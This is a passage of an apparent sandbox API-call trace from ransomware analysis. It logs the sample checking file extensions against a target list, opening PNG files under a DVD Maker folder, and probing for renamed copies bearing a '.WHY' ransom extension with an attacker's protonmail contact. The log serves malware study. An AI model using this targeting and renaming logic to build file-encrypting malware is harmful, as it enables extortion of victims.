(lpString1=".xls", lpString2=".png") returned 1 [0229.722] lstrlenW (lpString=".xlsx") returned 5 [0229.722] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0229.722] lstrlenW (lpString=".ppt") returned 4 [0229.722] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0229.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.722] lstrlenW (lpString=".zip") returned 4 [0229.722] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0229.722] lstrlenW (lpString=".rar") returned 4 [0229.722] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0229.722] lstrlenW (lpString=".bz2") returned 4 [0229.723] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0229.723] lstrlenW (lpString=".7z") returned 3 [0229.723] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0229.723] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.723] lstrlenW (lpString=".dbf") returned 4 [0229.723] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0229.723] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.723] lstrlenW (lpString=".1cd") returned 4 [0229.723] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0229.723] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.723] lstrlenW (lpString=".jpg") returned 4 [0229.723] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0229.724] lstrcmpiW (lpString1=".png", lpString2=".WHY") returned -1 [0229.724] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0229.724] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.725] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=5088) returned 1 [0229.725] CloseHandle (hObject=0x380) returned 1 [0229.725] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png")) returned 0x20 [0229.725] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.726] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.726] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.726] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.726] lstrlenW (lpString=".doc") returned 4 [0229.726] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0229.726] lstrlenW (lpString=".docx") returned 5 [0229.726] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0229.726] lstrlenW (lpString=".pdf") returned 4 [0229.727] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0229.727] lstrlenW (lpString=".xls") returned 4 [0229.727] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0229.727] lstrlenW (lpString=".xlsx") returned 5 [0229.727] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0229.727] lstrlenW (lpString=".ppt") returned 4 [0229.727] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0229.727] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.727] lstrlenW (lpString=".zip") returned 4 [0229.727] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0229.727] lstrlenW (lpString=".rar") returned 4 [0229.727] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0229.728] lstrlenW (lpString=".bz2") returned 4 [0229.728] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0229.728] lstrlenW (lpString=".7z") returned 3 [0229.728] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0229.728] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.728] lstrlenW (lpString=".dbf") returned 4 [0229.728] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0229.728] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.728] lstrlenW (lpString=".1cd") returned 4 [0229.728] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0229.728] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.729] lstrlenW (lpString=".jpg") returned 4 [0229.729] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0229.729] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.729] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.729] lstrlenW (lpString=".doc") returned 4 [0229.729] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0229.729] lstrlenW (lpString=".docx") returned 5 [0229.729] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0229.729] lstrlenW (lpString=".pdf") returned 4 [0229.729] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0229.729] lstrlenW (lpString=".xls") returned 4 [0229.729] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0229.730] lstrlenW (lpString=".xlsx") returned 5 [0229.730] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0229.730] lstrlenW (lpString=".ppt") returned 4 [0229.730] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0229.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.730] lstrlenW (lpString=".zip") returned 4 [0229.730] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0229.730] lstrlenW (lpString=".rar") returned 4 [0229.730] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0229.730] lstrlenW (lpString=".bz2") returned 4 [0229.730] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0229.730] lstrlenW (lpString=".7z") returned 3 [0229.730] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0229.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.730] lstrlenW (lpString=".dbf") returned 4 [0229.731] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0229.731] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.731] lstrlenW (lpString=".1cd") returned 4 [0229.731] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0229.731] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0229.731] lstrlenW (lpString=".jpg") returned 4 [0229.731] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0229.731] lstrcmpiW (lpString1=".png", lpString2=".WHY") returned -1 [0229.732] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0229.732] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.732] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3130) returned 1 [0229.732] CloseHandle (hObject=0x380) returned 1 [0229.733] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0229.733] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.733] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.733] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.733] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.733] lstrlenW (lpString=".doc") returned 4 [0229.734] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0229.734] lstrlenW (lpString=".docx") returned 5 [0229.734] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0229.734] lstrlenW (lpString=".pdf") returned 4 [0229.734] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0229.734] lstrlenW (lpString=".xls") returned 4 [0229.734] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0229.734] lstrlenW (lpString=".xlsx") returned 5 [0229.734] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0229.734] lstrlenW (lpString=".ppt") returned 4 [0229.734] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0229.734] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.734] lstrlenW (lpString=".zip") returned 4 [0229.734] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0229.734] lstrlenW (lpString=".rar") returned 4 [0229.734] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0229.735] lstrlenW (lpString=".bz2") returned 4 [0229.735] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0229.735] lstrlenW (lpString=".7z") returned 3 [0229.735] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0229.735] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.735] lstrlenW (lpString=".dbf") returned 4 [0229.735] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0229.736] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.736] lstrlenW (lpString=".1cd") returned 4 [0229.736] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0229.736] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.736] lstrlenW (lpString=".jpg") returned 4 [0229.736] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0229.736] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.736] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.736] lstrlenW (lpString=".doc") returned 4 [0229.737] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0229.737] lstrlenW (lpString=".docx") returned 5 [0229.737] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0229.737] lstrlenW (lpString=".pdf") returned 4 [0229.737] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0229.737] lstrlenW (lpString=".xls") returned 4 [0229.737] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0229.737] lstrlenW (lpString=".xlsx") returned 5 [0229.737] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0229.737] lstrlenW (lpString=".ppt") returned 4 [0229.737] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0229.737] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.737] lstrlenW (lpString=".zip") returned 4 [0229.738] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0229.738] lstrlenW (lpString=".rar") returned 4 [0229.738] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0229.738] lstrlenW (lpString=".bz2") returned 4 [0229.738] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0229.738] lstrlenW (lpString=".7z") returned 3 [0229.738] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0229.738] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.738] lstrlenW (lpString=".dbf") returned 4 [0229.738] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0229.738] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.738] lstrlenW (lpString=".1cd") returned 4 [0229.738] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0229.739] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0229.739] lstrlenW (lpString=".jpg") returned 4 [0229.739] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0229.739] lstrcmpiW (lpString1=".png", lpString2=".WHY") returned -1 [0229.739] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0229.739] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.740] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=5025) returned 1 [0229.740] CloseHandle (hObject=0x380) returned 1 [0229.740] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png")) returned 0x20 [0229.740] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.741] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.741] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.741] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.741] lstrlenW (lpString=".doc") returned 4 [0229.741] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0229.741] lstrlenW (lpString=".docx") returned 5 [0229.741] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0229.742] lstrlenW (lpString=".pdf") returned 4 [0229.742] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0229.742] lstrlenW (lpString=".xls") returned 4 [0229.742] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0229.742] lstrlenW (lpString=".xlsx") returned 5 [0229.742] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0229.742] lstrlenW (lpString=".ppt") returned 4 [0229.742] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0229.742] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.742] lstrlenW (lpString=".zip") returned 4 [0229.742] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0229.742] lstrlenW (lpString=".rar") returned 4 [0229.742] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0229.742] lstrlenW (lpString=".bz2") returned 4 [0229.743] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0229.743] lstrlenW (lpString=".7z") returned 3 [0229.743] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0229.743] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.743] lstrlenW (lpString=".dbf") returned 4 [0229.743] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0229.743] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.743] lstrlenW (lpString=".1cd") returned 4 [0229.743] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0229.743] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.743] lstrlenW (lpString=".jpg") returned 4 [0229.743] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0229.744] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.744] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.744] lstrlenW (lpString=".doc") returned 4 [0229.744] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0229.744] lstrlenW (lpString=".docx") returned 5 [0229.744] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0229.744] lstrlenW (lpString=".pdf") returned 4 [0229.744] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0229.744] lstrlenW (lpString=".xls") returned 4 [0229.744] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0229.744] lstrlenW (lpString=".xlsx") returned 5 [0229.744] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0229.744] lstrlenW (lpString=".ppt") returned 4 [0229.744] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0229.744] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.745] lstrlenW (lpString=".zip") returned 4 [0229.745] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0229.745] lstrlenW (lpString=".rar") returned 4 [0229.745] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0229.745] lstrlenW (lpString=".bz2") returned 4 [0229.745] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0229.745] lstrlenW (lpString=".7z") returned 3 [0229.745] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0229.745] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.745] lstrlenW (lpString=".dbf") returned 4 [0229.745] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0229.745] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.745] lstrlenW (lpString=".1cd") returned 4 [0229.745] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0229.745] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0229.746] lstrlenW (lpString=".jpg") returned 4 [0229.746] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0229.746] lstrcmpiW (lpString1=".png", lpString2=".WHY") returned -1 [0229.746] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0229.746] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.850] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3118) returned 1 [0229.850] CloseHandle (hObject=0x380) returned 1 [0229.850] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png")) returned 0x20 [0230.012] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0230.025] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.025] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.025] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.025] lstrlenW (lpString=".doc") returned 4 [0230.025] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0230.025] lstrlenW (lpString=".docx") returned 5 [0230.025] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0230.026] lstrlenW (lpString=".pdf") returned 4 [0230.026] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0230.026] lstrlenW (lpString=".xls") returned 4 [0230.026] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0230.026] lstrlenW (lpString=".xlsx") returned 5 [0230.026] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0230.026] lstrlenW (lpString=".ppt") returned 4 [0230.026] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0230.026] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.026] lstrlenW (lpString=".zip") returned 4 [0230.026] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0230.026] lstrlenW (lpString=".rar") returned 4 [0230.026] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0230.026] lstrlenW (lpString=".bz2") returned 4 [0230.026] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0230.026] lstrlenW (lpString=".7z") returned 3 [0230.026] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0230.026] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.027] lstrlenW (lpString=".dbf") returned 4 [0230.027] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0230.027] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.027] lstrlenW (lpString=".1cd") returned 4 [0230.027] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0230.027] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.027] lstrlenW (lpString=".jpg") returned 4 [0230.027] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0230.027] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.027] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.027] lstrlenW (lpString=".doc") returned 4 [0230.027] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0230.027] lstrlenW (lpString=".docx") returned 5 [0230.028] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0230.028] lstrlenW (lpString=".pdf") returned 4 [0230.028] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0230.028] lstrlenW (lpString=".xls") returned 4 [0230.028] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0230.028] lstrlenW (lpString=".xlsx") returned 5 [0230.028] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0230.028] lstrlenW (lpString=".ppt") returned 4 [0230.028] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0230.028] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.028] lstrlenW (lpString=".zip") returned 4 [0230.028] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0230.028] lstrlenW (lpString=".rar") returned 4 [0230.028] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0230.028] lstrlenW (lpString=".bz2") returned 4 [0230.029] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0230.029] lstrlenW (lpString=".7z") returned 3 [0230.029] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0230.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.029] lstrlenW (lpString=".dbf") returned 4 [0230.029] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0230.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.029] lstrlenW (lpString=".1cd") returned 4 [0230.029] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0230.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0230.029] lstrlenW (lpString=".jpg") returned 4 [0230.029] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0230.030] lstrcmpiW (lpString1=".png", lpString2=".WHY") returned -1 [0230.030] lstrlenW (lpString="Perf_Scenes_Mask1.png") returned 21 [0230.030] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0230.032] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e2ff1c | out: 